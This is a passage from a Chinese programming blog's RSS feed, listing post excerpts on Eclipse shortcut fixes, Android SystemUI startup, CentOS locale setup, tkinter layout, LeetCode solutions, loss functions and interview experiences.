      <description>第一种 ：很简单的一种方法，我的问题就是这么解决的，把eclipse 当前窗口打开的所以文件窗口全部关闭，重新打开一下就可以使用了，有时候问题解决就这么简单，就不需要再去使用第二种第三种了。&#xA;第二种：快捷键只有在Java 编辑模式下才可用，看一下自己的编辑模式是不是没有选Java ，&#xA;Window-&amp;gt;Perspective-&amp;gt;Open Perspective-&amp;gt;Java&#xA;如果没有Java,选择Other,选择Java&#xA;第三种：前两种没有奏效的情况下，可以尝试重置一下快捷键：&#xA;eclipse–&amp;gt; window –&amp;gt; preferences –&amp;gt; general –&amp;gt;keys –&amp;gt;Restore Defaults –&amp;gt; Apply and Close&#xA;第四种：前三种都不可以的话，那就要检查一下当前运行的软件是不是有快捷键冲突，冲突的话修改一下或者屏蔽掉。&#xA;第五种：这是从网上查到的一种方法，我自己也没有尝试，一般不要轻易尝试这种办法，因为这相当于是把eclipse重置了，还要很麻烦的重新去设置，最后真的没有办法了再去尝试。把 eclipse 的工作空间的.metadata文件夹删掉，然后需要自己重新配置。&#xA;第六种：次方法用于没有一点提示的情况：依次打开eclipse上面的windows ——preferences ——java ——editor —— content assist ，在右上方有一行“select the proposal kinds contained in the ‘default’ content assist list” 下面，勾选Java Prolosals 复选框，保存退出即可。&#xA;第七种：此种方法用于打出单词缩写没有提示的情况（例如：打出syso没有提示）：依次打开eclipse上面的windows ——preferences ——java ——editor —— content assist，在右边部分偏下的地方找到“Auto activation triggers for java:”这一项，后面是一个文本框，在后面的文本框输入字母abcd，然后点击 applay–&amp;gt;OK 保存退出，选择导出 File —— General —— Export 选择preferences 再选中Export all 复选框（下面的不需要管），并指定导出文件的名字和路径（注意只能导出.</description>
    </item>
    <item>
      <title>剪刀石头布（map&#43;循环结）</title>
      <link>https://bchobby.github.io/posts/810fc5b753b288e362c63c3529df8260/</link>
      <pubDate>Sun, 05 Jul 2020 15:07:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/810fc5b753b288e362c63c3529df8260/</guid>
      <description>现给出两人的交锋记录，请统计双方的胜、平、负次数，并且给出双方分别出什么手势的胜算最大。&#xA;输入格式：&#xA;输入第 1 行给出正整数 N（≤10​5​​ ），即双方交锋的次数。随后 N 行，每行给出一次交锋的信息，即甲、乙双方同时给出的的手势。C 代表“锤子”、J 代表“剪刀”、B 代表“布”，第 1 个字母代表甲方，第 2 个代表乙方，中间有 1 个空格。&#xA;输出格式：&#xA;输出第 1、2 行分别给出甲、乙的胜、平、负次数，数字间以 1 个空格分隔。第 3 行给出两个字母，分别代表甲、乙获胜次数最多的手势，中间有 1 个空格。如果解不唯一，则输出按字母序最小的解。&#xA;输入样例：&#xA;10&#xA;C J&#xA;J B&#xA;C B&#xA;B B&#xA;B C&#xA;C C&#xA;C B&#xA;J B&#xA;B C&#xA;J J&#xA;输出样例：&#xA;5 3 2&#xA;2 3 5&#xA;B B&#xA;作者&#xA;CHEN, Yue&#xA;单位&#xA;浙江大学&#xA;代码长度限制&#xA;16 KB&#xA;时间限制&#xA;200 ms</description>
    </item>
    <item>
      <title>SystemUI 快速搞懂启动流程</title>
      <link>https://bchobby.github.io/posts/d525194a257f6cb3ac3e52302b70d781/</link>
      <pubDate>Sun, 05 Jul 2020 10:47:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d525194a257f6cb3ac3e52302b70d781/</guid>
      <description>不积跬步无以至千里&#xA;SystemUI,系统界面,一个系统级的应用,其中包括了很多功能模块,比如锁屏,状态栏,分屏,音量条,多任务等等,让我们一起看一下它的启动.&#xA;随着系统的启动通过调用第一个用户空间的init进程调用Zygote进程然后调用SystemServer启动各种系统服务,而我们的SystemUI在其中启动服务中的一项.&#xA;一.SystemServer中的启动&#xA;代码路径:&#xA;frameworks/base/services/java/com/android/server/SystemServer.java&#xA;1.&#xA;private void run() { ... //AMS,PWS等等服务 startBootstrapServices(); //电量,WebView更新等等服务 startCoreServices(); //网络,WMS,震动等等服务 startOtherServices(); ... } //其它服务 private void startOtherServices() { ... mActivityManagerService.systemReady(() -&amp;gt; { ... try { startSystemUi(context, windowManagerF); } catch (Throwable e) { reportWtf(&#34;starting System UI&#34;, e); } ... } ... //启动SystemUI的代码 static final void startSystemUi(Context context, WindowManagerService windowManager) { Intent intent = new Intent(); //指定了包名类名,启动Service intent.setComponent(new ComponentName(&#34;com.android.systemui&#34;, &#34;com.android.systemui.SystemUIService&#34;)); intent.addFlags(Intent.FLAG_DEBUG_TRIAGED_MISSING); //Slog.d(TAG, &#34;Starting service: &#34;</description>
    </item>
    <item>
      <title>使用Endnote出现样式错误的解决方法</title>
      <link>https://bchobby.github.io/posts/9a0e0f0f3266677ae2e405b25e5a6d07/</link>
      <pubDate>Sun, 05 Jul 2020 00:38:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a0e0f0f3266677ae2e405b25e5a6d07/</guid>
      <description>今天使用Endnote插入文献，结果论文中的部分文字变成了以下超链接的地址。&#xA;现在记录一下解决方法&#xA;将Instant Formatting 由Off设置为On。稍等片刻就变回去了。&#xA;不过话说这个功能也挺好，变成超链接的部分正是我在这个地方复制过来的文字，这个功能也是厉害的很。</description>
    </item>
    <item>
      <title>centos 8设置中文环境</title>
      <link>https://bchobby.github.io/posts/786b24022ecb2da00a9d8b3e8e10cf91/</link>
      <pubDate>Sat, 04 Jul 2020 17:44:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/786b24022ecb2da00a9d8b3e8e10cf91/</guid>
      <description>参考连接&#xA;首先查看当前字符集&#xA;locale&#xA;看看有没有zh_CN.utf8&#xA;locale -a |grep CN&#xA;没有就安装&#xA;yum install -y langpacks-zh_CN&#xA;安装后再次确认配置&#xA;vi /etc/locale.conf&#xA;LANG=“zh_CN.UTF-8”&#xA;修改后重启即可</description>
    </item>
    <item>
      <title>力扣解题思路：847. 访问所有节点的最短路径</title>
      <link>https://bchobby.github.io/posts/0d3cd6a29bf14da33780b040152f2afb/</link>
      <pubDate>Sat, 04 Jul 2020 12:23:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d3cd6a29bf14da33780b040152f2afb/</guid>
      <description> 847. 访问所有节点的最短路径 思路：此题类似于求最小生成树，要求返回能访问所有结点的最短路径，我们可以把每个点作为出发点，依次访问与该点相连的节点，即使用BFS。-&amp;gt;&#xA;我们需要一个用于记录我们是否访问完所有节点的数组（也需要记录已经访问的节点）book，那book的维度如何确定呢？首先从每个节点出发都会保存一个已遍历的节点的数组，所以book应该是一个二维数组，第一个维度即为节点的数目。-&amp;gt;&#xA;为了便于统计和更新已访问的节点，我们使用boolean[len][1&amp;lt;&amp;lt;len]用来记录每个点的访问路径的，访问过则将相应二进制位置1 ，在更新时只需要next_state = node[1]|(1&amp;lt;&amp;lt;next)即可完成状态的更新，为了同时将节点下标和节点对应的状态同时放入队列，我们定义队列中每个元素都为2数组（存放节点下标和节点对应的状态），我的代码及详细注解如下:&#xA;public int shortestPathLength(int[][] graph) { int len=graph.length; boolean[][] book=new boolean[len][1&amp;lt;&amp;lt;len];//用来记录每个点的访问路径的，访问过则将相应二进制位置1 int k=(1&amp;lt;&amp;lt;len)-1;//全1.代表所有点都访问过（最终状态） Queue&amp;lt;int[]&amp;gt; queue=new LinkedList&amp;lt;&amp;gt;(); for (int i=0;i&amp;lt;len;i++){ queue.offer(new int[]{i,1&amp;lt;&amp;lt;i});//把每个点作为起点，1&amp;lt;&amp;lt;i表示起点位置以访问，置1 } int step=0;//跳数 while (!queue.isEmpty()) { int size=queue.size(); while (size--&amp;gt;0){ int[] node=queue.poll(); if(k==node[1])return step;//到达最终状态，直接返回 for (int next:graph[node[0]])//该点能到达的下一节点 { int next_state=node[1]|(1&amp;lt;&amp;lt;next);//即将访问的下一节点的状态，即把相应二进制位数的下一节点的位置置1，其他保持不变，所以用上了|符号 if(book[next][next_state])continue;//该节点访问过，直接跳过 book[next][next_state]=true;//未访问则标记为已访问 queue.offer(new int[]{next,next_state});//下一节点入队列 } } step++; } return step; } 这里可能有人会问，while循环中return的一定是最小的step吗？？答案是当然，这就是BFS的特性，因为最先return step一定是最小step，每经历一次大循环step将加一，因此第一次返回的总是最小step 。 </description>
    </item>
    <item>
      <title>tkinter-pack布局详解</title>
      <link>https://bchobby.github.io/posts/5e6ab313359b2de523b015f51c594ea4/</link>
      <pubDate>Sat, 04 Jul 2020 08:17:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e6ab313359b2de523b015f51c594ea4/</guid>
      <description>前面三篇博文介绍了 tkinter-label，tkinter-menu详解，tkinter-button详解，可以说对tkinter的控件有了基础的认识，可能这时大家自然会想，这些控件放置的什么位置要怎样控制呢？为了搞清楚这个问题，接下来分三篇博文来分别介绍tkinter的三种布局方法。&#xA;tkinter中控件的布局可以有三个类来控制,分别是Pack,Place,Grid.本系列文章将这三个类统称为布局类.&#xA;布局类与控件类的类间关系如下:&#xA;由上图可以看出,tkinter总共有17个控件类,三个布局类都是控件类(Widget)的父类.所以任何控件类对象都可以直接调用布局类的方法,来完成控件布局.&#xA;文章目录 Pack默认分布紧凑分布填满分布填充分布外边距内边距 Pack widget.pack(cnf={}, **kw)&#xA;为了直观起见,接下来主要通过实例来辅助理解pack的布局结构并学会使用。&#xA;默认分布 首先，我们从最简单的默认配置入手。&#xA;from tkinter import (Tk, Button) from tkinter.constants import RIGHT, LEFT, X, Y, BOTH main_win = Tk() main_win.title(&#39;渔道的pack布局&#39;) width = 300 height = 300 main_win.geometry(f&#39;{width}x{height}&#39;) apple_color = &#39;Crimson&#39; banana_color = &#39;Yellow&#39; orange_color = &#39;Orange&#39; grape_color = &#39;Purple&#39; fruit = {&#39;apple&#39;:&#39;Crimson&#39;, &#39;banana&#39;:&#39;Yellow&#39;, &#39;orange&#39;:&#39;Orange&#39;, &#39;grage&#39;:&#39;Purple&#39;} for k,v in fruit.items(): bt = Button(main_win, text=k, fg=&#39;black&#39;, bg=v) bt.pack() print(bt.info()) print函数的打印信息如下：&#xA;{&#39;in&#39;: &amp;lt;tkinter.</description>
    </item>
    <item>
      <title>梳理L1、L2与Smooth L1</title>
      <link>https://bchobby.github.io/posts/63768b5825baa3b44167159cec91977b/</link>
      <pubDate>Sat, 04 Jul 2020 00:17:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63768b5825baa3b44167159cec91977b/</guid>
      <description>关于L1、L2的范数、损失函数和正则化，之前一直混淆这几个概念，故对这几天看过的资料进行了学习总结。&#xA;范数(norm)是数学中的一种基本概念。在泛函分析中，它定义在赋范线性空间中，并满足一定的条件，即①非负性；②齐次性；③三角不等式。它常常被用来度量某个向量空间（或矩阵）中的每个向量的长度或大小。&#xA;首先以L2范数为例对范数做一个简单的说明：&#xA;L2范数:&#xA;假设 X X X是n维的特征 X = ( x 1 , x 2 , x 3 , … , x n ) X=(x_1,x_2,x_3,…,x_n) X=(x1​,x2​,x3​,…,xn​)&#xA;则L2范数： ∥ X ∥ 2 = ∑ i = 1 n x i 2 \left \|X\right \|_2=\sqrt{\sum_{i=1}^{n}x_i^2} ∥X∥2​=∑i=1n​xi2​ ​&#xA;一、作为损失函数 本部分内容大多来源于回归损失函数1：L1 loss, L2 loss以及Smooth L1 Loss的对比。&#xA;公式对比 L 1 L_1 L1​&#xA;公式： L 1 = ∣ f ( x ) − Y ∣ L_1=\left|f(x)-Y\right| L1​=∣f(x)−Y∣</description>
    </item>
    <item>
      <title>Android 9 (P)非SDK API限制调用开发指南</title>
      <link>https://bchobby.github.io/posts/447cea97b43f02fea7e5f21475dba4f8/</link>
      <pubDate>Fri, 03 Jul 2020 21:34:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/447cea97b43f02fea7e5f21475dba4f8/</guid>
      <description>Android 9 (P)非SDK API限制调用开发指南 Android 9 (P)开发适配指南系列博客目录：&#xA;Adnroid 9 (P) recovery升级Map of &#39;@/cache/recovery/block.map’failed问题分析指南&#xA;Android 9 (P)版本解决VNDK library: XXX’s ABI has EXTENDING CHANGES&#xA;Android 9 (P)非SDK API限制调用开发指南&#xA;Android 9 (P)适配以太网功能开发指南&#xA;Android 9 (P)在user模式下无法使用fastboot烧录怎么破&#xA;Android 9 (P)静默安装/卸载App适配终极指南&#xA;引言 有过Android开发经验的童鞋应该知道，每一次Android大版本的升级，往往会有大量的APP出现兼容性问题，导致这个情况的主要原因是由于APP的热修复以及依赖Android internal API(内部API)，也就是非SDK API。这些API是指标记@hide的类、方法以及字段，它们不属于官方Android SDK的字段与函数(当然这其中也包括一些废旧SDK的使用,这个不是本篇讨论的重点)。&#xA;非SDK接口指不在官方Android SDK涵盖范围内的 Java 字段和方法。此类接口是 SDK 的内部实现细节，可能随时会被修改，且不对开发者另行通知。 Google希望未来Android大版本升级，APP都能正常运行，而很多APP对内部API的调用通过反射或JNI间接调用的方法来调用，破坏兼容性。 为此Google从Android P开始限制对内部API的使用，继续使用则抛出如下异常。&#xA;Google在Android P版本上对隐藏的Java API进行了一定的限制，后续版本会逐步的完善限制。App侧通过反射等方式调用的Java API将会有很多限制，对于Android应用想再搞一些插件化之类的黑科技便是带着脚手铐跳舞，即便能跳但舞姿已不太优雅了。这也是为了Android 生态在未来更好的发展。真是为难了谷歌妈咪为了Android的和谐发展所做的努力。&#xA;Android 7.0对Native的NDK的调用限制是手铐，而Android 9.0对Java层SDK的调用限制就是脚铐。脚铐手铐同时上，为了Android碎片化的整理真是操作了心啊。&#xA;注意：本文是以Android 9源码为基础来说明Android P对非SDK API调用开发指南。&#xA;libcore/ojluni/src/main/java/java/lang/Class.java art/runtime/native/java_lang_Class.cc art/runtime/hidden_api.h art/runtime/runtime.h art/libdexfile/dex/hidden_api_access_flags.h art/runtime/hidden_api.cc art/runtime/art_method-inl.h frameworks/base/core/java/android/content/pm/ApplicationInfo.</description>
    </item>
    <item>
      <title>95-110-026-源码-Env-RemoteStreamEnvironment</title>
      <link>https://bchobby.github.io/posts/fd27e67bb342d52624cb150c812dfb72/</link>
      <pubDate>Fri, 03 Jul 2020 19:28:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd27e67bb342d52624cb150c812dfb72/</guid>
      <description>1.视界 2.拓扑图 3.概述 待补充</description>
    </item>
    <item>
      <title>【拉普拉斯变换】3. 拉普拉斯逆变换</title>
      <link>https://bchobby.github.io/posts/8a74446061ec67d2710bd1c86195f9c0/</link>
      <pubDate>Fri, 03 Jul 2020 17:05:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a74446061ec67d2710bd1c86195f9c0/</guid>
      <description>文章目录 【 1. 查表法 】【 2. 部分分式展开法 】1. F(s)有单极点（特征根为单根）2. F(s)有共轭单极点（特征根为共轭单根） 我们根据拉普拉斯逆变换的定义式 去解太麻烦了，一般我们用部分分式展开法、查表法求拉普拉斯逆变换。 【 1. 查表法 】 例：&#xA;【 2. 部分分式展开法 】 1. F(s)有单极点（特征根为单根） 系数 Ki 的求解： 2. F(s)有共轭单极点（特征根为共轭单根） 例：</description>
    </item>
    <item>
      <title>Python cp36 cp 什么意思？</title>
      <link>https://bchobby.github.io/posts/77156a9cf4702c9304702f073685be45/</link>
      <pubDate>Fri, 03 Jul 2020 10:36:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77156a9cf4702c9304702f073685be45/</guid>
      <description>cp 代表 CPython，表示用 C 语言写的 Python 解释器版本。</description>
    </item>
    <item>
      <title>力扣解题思路：股票问题</title>
      <link>https://bchobby.github.io/posts/bc3427e81af55216aa4cc10ffb82fc56/</link>
      <pubDate>Fri, 03 Jul 2020 10:21:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc3427e81af55216aa4cc10ffb82fc56/</guid>
      <description>121. 买卖股票的最佳时机 思路：这题为简单题，只要记录前面的最小价格，将这个最小价格作为买入价格，然后将当前的价格作为售出价格，查看当前收益是不是最大收益。 class Solution { public int maxProfit(int[] prices) { if(prices.length == 0) return 0; int max = 0; int min = prices[0]; for(int i=1;i&amp;lt;prices.length;i++){ if(min&amp;gt;prices[i]){ min = prices[i]; continue; } max = Math.max(max,prices[i]-min); } return max; } } 122. 买卖股票的最佳时机 II 思路：为上一题的简单扩展，可以多次买卖，可以联想到贪心策略。当prices[i] - prices[i-1] &amp;gt; 0，那么就把 prices[i] - prices[i-1] 添加到收益中，这样的贪心策略是否是正确的呢？-&amp;gt; 可以通过简单的证明：对于 [a, b, c, d]，如果有 a &amp;lt;= b &amp;lt;= c &amp;lt;= d ，那么最大收益为 d - a。而 d - a = (d - c) + (c - b) + (b - a) ，因此当访问到一个 prices[i] 且 prices[i] - prices[i-1] &amp;gt; 0，那么就把 prices[i] - prices[i-1] 添加到收益中，这样的累计收益是最大的。 代码如下： public int maxProfit(int[] prices) { int profit = 0; for (int i = 1; i &amp;lt; prices.</description>
    </item>
    <item>
      <title>美团，滴滴，蘑菇街Java大数据面经分享</title>
      <link>https://bchobby.github.io/posts/430f4524a15209c77028a30fb61aa9aa/</link>
      <pubDate>Thu, 02 Jul 2020 23:52:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/430f4524a15209c77028a30fb61aa9aa/</guid>
      <description>大概校招的时候面了几家互联网公司，主要方向是java后端和大数据开发，最近整理下发出来&#xA;美团 一面&#xA;聊你最熟悉的项目和技术。项目中为什么要使用spark。spark怎么划分stage，宽窄依赖，聊源码spark提交一个作业的执行流程（单机模式）spark driver节点，worker以及master节点遇到故障如何解决。spark checkpoint原理聊JVM内存划分与GC算法。JVM中为什么需要使用分代收集算法，有什么好处。手撕代码：&#xA;输入一个链表和一个定值x，要求将值小于x的所有节点置换到x的左侧，值大于x的所有节点置换到x右侧，另外需要保持原有前后关系。比如：&#xA;输入： 1-&amp;gt;4-&amp;gt;3-&amp;gt;2-&amp;gt;5-&amp;gt;2 and x = 3,&#xA;输出： 1-&amp;gt;2-&amp;gt;2-&amp;gt;3-&amp;gt;4-&amp;gt;5.&#xA;其中：1/2/2小于3，4/5大于3，而且输入的前后顺序也是1/2/2,4/5 一面刚开始是分布式存储团队，主要技术栈是hadoop，hbase以及hive，后来感觉我对分布式计算感兴趣，面试官帮我转岗到实时计算组，接着二面。&#xA;二面&#xA;自我介绍聊项目，项目中有哪些难点，解决了什么问题？spark streaming集群如何做容灾处理。spark checkpoint原理。了解哪些海量数据去重的方法。flink和spark的区别？flink了解哪些，它的基本架构原理如何设计一个多级缓存系统，需要考虑到哪些问题？redis和zookeeper做分布式锁的区别，还有其他方式做分布式锁吗？一道算法：给定一个栈，使用O(1)的时间复杂度计算栈中的最小元素。了解哪些机器学习算法？做过相关项目吗？团队间协作需要注意哪些问题？如何后面让你做同样的一个系统，你会从之前的项目中吸取怎么样的经验。 三面&#xA;自我介绍深挖项目。如何理解大数据，它解决了什么问题。在一个很大的m*n的数组中，每一行有序，每一列无序，如何求其topk。进程之间如何通信。操作系统页的概念，每一页的大小是多少，为什么是这么多。一台机器可以建立的连接是否是无限的，影响它的因素有哪些？TCP断开连接时的time_wait状态？确定一个TCP连接的5元组。还有什么向问我的嘛？如何理解实时计算。 过了几天，问了下，说是没HC了，给我转分布式存储，不过需要重新面试，就没再继续面了。&#xA;滴滴（面试通过） 一面&#xA;自我介绍介绍项目。说说JVM gc算法，垃圾回收器。聊下java并发包的一些常用工具类聊spark源码。有什么想问的。 二面&#xA;redis的工作模型。redis如何处理过期数据。redis中hash类型求数据大小快还是将所有数据读出来快。数据库与缓存读写一致性问题。如果以上问题回答的不太完美，你会怎么办。spark的通信模型，集群发生故障是怎么办。spark的执行流程。java中有哪些锁。synchronized为什么是重量级锁。如果工作中提出不合理的需求你会怎么办。怎么看待加班。实习时间。 过了几天面试官说面试通过，过几天老板会和我商量入职时间，然后过了几天。。。。HC被锁了。。&#xA;蘑菇街（offer） 一面&#xA;项目介绍，项目中的难点与亮点spark sql的UDF，UDAF函数的实现。Hive中如何实现UDF。hashmap源码中有哪些成员变量，什么时候适合增大负载因子，什么时候适合减小。java中float类型，类型转换。字符串的匹配。 二面&#xA;自我介绍java中有哪些锁java CAS，看过native方法源码没有什么是死锁，代码中出现了死锁怎么解决。求一颗二叉树中topk大的元素。java volatile关键字。spark执行流程。如何解决数据倾斜。实习时间，倾向的岗位。 三面&#xA;你有哪些优势大学期间对你影响最大的人你有哪些优点和缺点。对前面的面试自我感觉怎么样。期望薪资实习时间。 最终拿到offer。&#xA;总结： 菜是原罪！！！</description>
    </item>
    <item>
      <title>【大数据开发】Java语言基础——作业day03</title>
      <link>https://bchobby.github.io/posts/00f3962b2b2a896b9e73dbbb19bd594e/</link>
      <pubDate>Thu, 02 Jul 2020 22:32:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00f3962b2b2a896b9e73dbbb19bd594e/</guid>
      <description>1.图形打印（每一个图形都需要单独设计一个方法）（注：这是四个题） class Demo12 { public static void main(String[] args) { for (int i=1; i&amp;lt;=5; i++) { for (int j=0; j&amp;lt;i-1;j++) { System.out.print(&#34; &#34;); } System.out.println(&#34;*****&#34;); } } } class Demo13 {//0 2 4 6 8 //1 2 3 4 5 //9 7 5 3 1 //0 1 2 3 4 public static void main(String[] args) { for (int i=0; i&amp;lt;5; i++) { //打印空格 for (int j=0; j&amp;lt;i; j++) { System.</description>
    </item>
    <item>
      <title>归一化的作用</title>
      <link>https://bchobby.github.io/posts/0d17eafdbf03f3826c13bdc536d91196/</link>
      <pubDate>Thu, 02 Jul 2020 16:59:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d17eafdbf03f3826c13bdc536d91196/</guid>
      <description>首先，归一化是把数据转化为（0，1）或者是（-1，1）之间。（-1，1）： (x-xmax)/(xmax-xmin)&#xA;标准化是把数据转化到均值为0，方差为1.&#xA;中心化：平均值为0，对标准差无要求&#xA;三种归一化方法：除以序列最大值的，叫峰归一化；&#xA;除以序列之和的，叫面积归一化；&#xA;除以序列的模，叫数值归一化，得到序列的方差为0，均值为1；&#xA;1.图像：&#xA;基本上归一化思想是利用图像的不变矩寻找一组参数使其能够消除其他变换函数对图像变换的影响。也就是转换成唯一的标准形式以抵抗仿射变换&#xA;图像归一化使得图像可以抵抗几何变换的攻击，它能够找出图像中的那些不变量，从而得知这些图像原本就是一样的或者一个系列的。&#xA;2.matlab里图像数据有时候必须是浮点型才能处理，而图像数据本身是0-255的UNIT型数据所以需要归一化，转换到0-1之间。&#xA;3.归一化是一种简化计算的方式，即将有量纲的表达式，经过变换，化为无量纲的表达式，成为纯量。&#xA;目的是为了：&#xA;(1).避免具有不同物理意义和量纲的输入变量不能平等使用&#xA;(2).bp中常采用sigmoid函数作为转移函数，归一化能够防止净输入绝对值过大引起的神经元输出饱和现象&#xA;(3).保证输出数据中数值小的不被吞食&#xA;4.神经网络 归一化是为了加快训练网络的收敛性，可以不进行归一化处理 归一化的具体作用是归纳统一样本的统计分布性。归一化在0-1之间是统计的概率分布，归一化在**-1–+1之间是统计的坐标分布。归一化有同一、统一和合一的意思。无论是为了建模还是为了计算，首先基本度量单位要同一，神经网络是以样本在事件中的统计分别几率来进行训练（概率计算）和预测的，归一化是同一在0-1**之间的统计概率分布；&#xA;当所有样本的输入信号都为正值时，与第一隐含层神经元相连的权值只能同时增加或减小，从而导致学习速度很慢。为了避免出现这种情况，加快网络学习速度，可以对输入信号进行归一化，使得所有样本的输入信号其均值接近于0或与其均方差相比很小。&#xA;归一化是因为sigmoid函数的取值是0到1之间的，网络最后一个节点的输出也是如此，所以经常要对样本的输出归一化处理。所以这样做分类的问题时用[0.9&#xA;0.1 0.1]就要比用[1 0 0]要好。</description>
    </item>
    <item>
      <title>活动安排问题-贪心</title>
      <link>https://bchobby.github.io/posts/b047691a59a6ee2dab58ef0c1c4fc27b/</link>
      <pubDate>Thu, 02 Jul 2020 16:34:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b047691a59a6ee2dab58ef0c1c4fc27b/</guid>
      <description> 问题描述 活动安排问题就是要在所给的活动集合中选出最大的相容活动子集合，是可以用贪心算法有效求解的很好例子。&#xA;该问题要求高效地安排一系列争用某一公共资源的活动。&#xA;贪心算法使得尽可能多的活动能兼容地使用公共资源。&#xA;设有n个活动的集合E={1,2,…,n}，其中每个活动都要求使用同一资源，如演讲会场等，而在同一时间内只有一个活动能使用这一资源。&#xA;每个活动i都有一个要求使用该资源的起始时间si和一个结束时间fi, 且si &amp;lt;fi 。&#xA;如果选择了活动i，则它在[si, fi)内占用资源。&#xA;若[si, fi)与[sj, fj)不相交，则称活动i与j是相容的。即当si≥fj或sj≥fi时，活动i与活动j相容。&#xA;活动安排问题就是求E={1,2,…,n}的最大相容活动子集。&#xA;问题分析 用数组A分别存放所有活动的起始时间、结束时间以及是否予以安排的标记。某项活动结束时间愈早，安排其它活动的剩余区间愈大。所以贪心策略为尽量选择结束时间早的活动来安排。为此，将数组中的活动按结束时间的非减顺序排序，即f1≤f2≤…≤fn。显然排序需要的时间为O(nlogn)。&#xA;核心算法 template&amp;lt;class Type&amp;gt; void GreedySelector(int n, Type s[ ], Type f[ ], bool A[ ]) { A[1]=true; int j=1; for (int i=2;i&amp;lt;=n;i++) { if (s[i]&amp;gt;=f[j]) { A[i]=true; j=i; } else A[i]=false; } } 由于输入的活动以其完成时间的非减序排列，所以算法greedySelector每次总是选择具有最早完成时间的相容活动加入集合A中。算法贪心选择的意义是使剩余的可安排时间段极大化，以便安排尽可能多的相容活动。当输入的活动已按结束时间的非减序排列，算法只需O(n)的时间安排n个活动，使最多的活动能相容地使用公共资源。如果所给出的活动未按非减序排列，可以用O(nlogn)的时间重排。&#xA;例子 设待安排的11个活动的开始时间和结束时间，按结束时间的非减序排列如下：&#xA;若被检查的活动i的开始时间si小于最近选择的活动j的结束时间fi，则不选择活动i，否则选择活动i加入集合A中。贪心算法并不总能求得问题的整体最优解。但对于活动安排问题，greedySelector却总能求得的整体最优解，即它最终所确定的相容活动集合A的规模最大。这个结论可以用数学归纳法证明。 </description>
    </item>
    <item>
      <title>javascript解决【Uncaught TypeError: Cannot read property ‘style‘ of undefined at HTMLHeadingElement.】问题</title>
      <link>https://bchobby.github.io/posts/522a42dd9d19843a6a739276a63f030d/</link>
      <pubDate>Thu, 02 Jul 2020 14:50:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/522a42dd9d19843a6a739276a63f030d/</guid>
      <description>1、首先我随机选取的一种存在此问题的代码，其代码如下： var aList = document.querySelectorAll(&#34;.F-nav-li h2&#34;);&#xA;var aHide = document.querySelectorAll(&#34;.F-hide-1&#34;);&#xA;for(var i = 0; i &amp;lt; aList.length; i++){ // 从哪来 到哪结束 怎么去&#xA;aList[i].onclick = function(){ // 鼠标点击事件&#xA;console.log(&#34;你是个牛&#34;，i); aHide[i].style.height = &#34;125px&#34;;//此时会产生报错，报错原因是由于i的取值越界了！&#xA;}&#xA;}&#xA;2、当你运行完成并且点击的时候相应的按键时，会出现如下问题，如图： 3、这i的取值超过了aList.length！这是为什么？通常将这类问题称为【取值越界问题】！ 产生原因：由于浏览器在解析js文件时，是从上至下进行解析。但是在js中有一种情况例外，就是鼠标点击事件。因为在网页运行出来后，点击事件不会被执行。 如上图中当浏览器解释到for循环中的onclick时，就终止了，然后把相应的信息存放在方框内，然后一直循环，知道【i=aList.length】不满足循环条件时，跳出循环；然后，向下继续执行，因此造成了此类问题！ 4、此类问题的解决方法有很多种，下面仅仅列出一种方法，希望对大家有帮助！ var aList = document.querySelectorAll(&#34;.F-nav-li h2&#34;);&#xA;var aHide = document.querySelectorAll(&#34;.F-hide-1&#34;);&#xA;for(var i = 0; i &amp;lt; aList.length; i++){ // 从哪来 到哪结束 怎么去&#xA;/*&#xA;第一次循环： aList[0].index = 0; 第二次循环： aList[1].index = 1; 第三次循环： aList[2].</description>
    </item>
    <item>
      <title>力扣解题思路：区间排序问题</title>
      <link>https://bchobby.github.io/posts/847be15e97b6420492975339f367e083/</link>
      <pubDate>Thu, 02 Jul 2020 11:24:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/847be15e97b6420492975339f367e083/</guid>
      <description>435. 无重叠区间 思路：每次遇到和区间有关的题都要思考半天区间的排序方法，是根据区间左边排序还是根据区间右边排序呢？ 另外遇到这种题目如果采取贪心算法最后的结果会不会是最优的呢？（主要是因为研究生期间我的研究方向是强化学习算法，其中用到的贪婪算法容易陷入局部最优，所以每次看到适合用贪婪算法解题的题目时总会思考贪婪算法会得出最优解吗？）-&amp;gt; 首先，分析我们的目标是要找到找到需要移除区间的最小数量，所以想到贪心算法：先计算最多能组成的不重叠区间个数，然后用区间总个数减去不重叠区间的个数。此时就应该先排序，那么如何排序呢？-&amp;gt; 按区间的结尾进行升序排序，每次选择结尾最小，并且和前一个区间不重叠的区间。因此我们按照区间结尾来使用lambda表达式排序。 在每次选择中，选择的区间结尾越小，留给后面的区间的空间越大，那么后面能够选择的区间个数也就越大。自然这样贪心算法并不会到达局部最优，这就是按区间的结尾进行升序排序的根本原因。排序代码如下：&#xA;Arrays.sort(intervals,(o1,o2)-&amp;gt;(o1[1]-o2[1])); 完整代码如下：&#xA;class Solution { public int eraseOverlapIntervals(int[][] intervals) { if(intervals.length == 0) return 0; Arrays.sort(intervals,(o1,o2)-&amp;gt;(o1[1]-o2[1])); int end = intervals[0][1]; int count = 1; for(int i=1;i&amp;lt;intervals.length;i++){ if(intervals[i][0]&amp;gt;=end){ count++; end = intervals[i][1]; } } return intervals.length-count; } } 452. 用最少数量的箭引爆气球 同样的道理，如452. 用最少数量的箭引爆气球，使用的也是同样的思想，只不过此时边界重叠也必须算在作重叠区间，使用lambda表达式排序： Arrays.sort(points,(o1,o2)-&amp;gt;(o1[1]-o2[1])); 完整代码如下：&#xA;class Solution { public int findMinArrowShots(int[][] points) { if(points.length == 0) return 0; 